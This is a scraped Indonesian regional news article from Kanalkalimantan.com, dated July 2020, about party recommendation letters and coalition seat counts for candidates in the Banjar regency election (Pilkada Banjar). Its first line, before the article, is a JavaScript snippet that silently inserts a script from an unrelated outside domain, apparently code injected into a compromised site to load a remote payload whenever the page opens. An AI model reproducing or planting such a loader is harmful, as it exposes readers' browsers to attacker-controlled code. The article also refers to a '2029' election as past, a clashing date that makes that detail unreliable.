(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pasangan H Rusli- KH Fadlan As’ary semakin mantab menuju pencalonan di Pilkada Banjar. SK Rekomendasi DPP Partai Golkar terkait pencalonannya di Pilkada kini sudah digenggaman. Surat tersebut diserahkan langsung oleh Ketua Umum Golkar Airlangga Hartato di Jakarta, Minggu (12/7/2020).
Diterimanya SK tersebut setelah sebelumnya DPD Golkar Kalsel mengeluarkan surat pengajuan rekomendasi No A-054/GOLKAR-KS/V1/2020 tentang Laporan Hasil Pelaksanaan Tahapan Seleksi Bakal Calon Kepala Daerah Partai Golkar di Pilkada 2020.
Terkiat dukungan tersebut, Guru Fadlan mengatakan diterimanya SK dari DPP Golkar semakin memantabkan langkah duet H Rusli-Guru Fadlan di Pilkada Banjar. “Ya, alhamdulillah. Insyallah partai-partai lain juga akan menyusul,” katanya.
Saat ini, tarung Pilkada Banjar makin kompetitif pasca mundurnya incumbent Bupati H Khalilurrahman. Sejumlah kandidat semakin mantab menatap kursi Bupati dan Wakil Bupati Banjar, termasuk duet H Rusli- KH Muhammad Fadlan Asy’ari atau Guru Fadlan, yang disokong Golkar dan gabungan partai lain.
Bahkan, saat ini paket yang termasuk muncul belakangan ini diklaim memiliki sokongan lebih dari separuh kursi parlemen di DPRD Banjar. Besarnya dukungan ini terungkap dalam surat pengajuan rekomendasi DPD I Golkar Kalsel ke DPP Golkar, No A-054/GOLKAR-KS/V1/2020 tentang Laporan Hasil Pelaksanaan Tahapan Seleksi Bakal Calon Kepala Daerah Partai Golkar di Pilkada 2020.
Dimana dalam surat tersebut disampaikan, untuk Pilkada Banjar, Golkar Kalsel mencalonkan duet H Rusli-Guru Fadlan. Paket ini disokong 6 koalisi parpol terdiri dari Partai Golkar yang memiliki 8 kursi di parlemen, PKS 2 kursi, PPP 5 kursi, PDIP 2 kursi, PAN 3 kursi, dan Demokrat 4 kursi. Sehingga total ada 24 kursi yang menyokong pencalonan di Pilkada.
Jumlah tersebut lebih dari separuh kursi di DPRD Banjar sebanyak 45 kursi. Artinya, dukungan massif ini sudah jauh melampaui dari batas minimum syarat mengusung calon dari jalur partai di KPU Banjar. Guna dapat maju di Pilkada Kabupaten Banjar 2020 melalui jalur partai politik, syaratnya pasangan bakal calon minimal harus mendapat dukungan 20 persen atau 9 kursi di DPRD Banjar.
Pasangan H Rusli-Guru Fadlan memang bisa menjadi poros kekuatan baru di kabupaten berjuluk Serambi Makkah ini. Selain sokongan porpol, kedua tokoh tersebut juga memiliki basis massa yang kuat. H Rusli yang saat ini duduk sebagai Ketua DPD Golkar Banjar sekaligus anggota DPRD Kalsel, tercatat sebagai anggota dewan dengan raihan suara terbanyak pada pemilu 2029 lalu.
Sedangkan Guru Fadlan, selain tokoh Nadhlatul Ulama (NU) juga merupakan mantan Ketua MUI Kabupaten Banjar. Sebelumnya, pasangan in juga telah mendapat surat rekomendasi dari PPP, dan PKS. Bahkan, PPP telah lebih dulu secara terang-terangan menyatakan dukungannya!. “Syukur Alhamdulillah pasangan kami memang mendapat kepercayaan dan menerima SK dari PPP dan PKS. Semoga kepercayaan ini berlanjut dan mendapat kepercayaan masyarakat untuk menjadikan Kabupaten Banjar lebih baik,” kata H Rusli.
Di sisi lain, tampilnya tokoh lain juga tak bisa dianggap enteng. Seperti Wakil Bupati Saidi Mansyur, yang juga memastikan mendapatkan 1 tiket di Pilkada Banjar. Saidi mendapat dukungan dari tiga partai besar yakni, Partai Nasdem, Partai Kebangkitan Bangsa (PKB), dan terbaru adalah Partai Demokrat.
Penyerahan SK tersebut dilakukan ketika Saidi Mansyur bertemu dengan Ketua Umum Partai Demokrat, Agus Harimurti Yudhoyono didampingi Ketua DPD Demokrat Kalsel, Rusian. Selasa (30/6/2020).
“Kami kini sudah mengantongi surat dukungan dari tiga partai, dan dukungan dari Partai Demokrat baru tadi kami terima, dan diserahkan langsung oleh ketua umumnya Agus Harimurti Yudhoyono,” ujar Saidi Mansyur, Selasa (30/6/2020).
Menurut dia, AHY mendoakan Saidi terpilih sebagai bupati dan bisa mensejahterakan masyarakat Kabupaten Banjar. Dengan bergabungnya dua partai itu bersama Partai Nasdem, artinya Saidi mengantongi 16 kursi. Yakni, Partai Nasdem memiliki tujuh kursi di Dewan Perwakilan Rakyat Daerah (DPRD) Banjar, PKB lima kursi, dan Partai Demokrat sebanyak empat kursi.
Dengan total 16 kursi dari tiga partai tersebut, maka dipastikan Saidi Mansyur telah memenuhi syarat mendaftarkan diri sebagai Calon Bupati Banjar. Syarat di KPU minimal sembilan kursi untuk dapat maju dipilkada nanti. (Kanalkalimantan.com/tim)
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
This website uses cookies.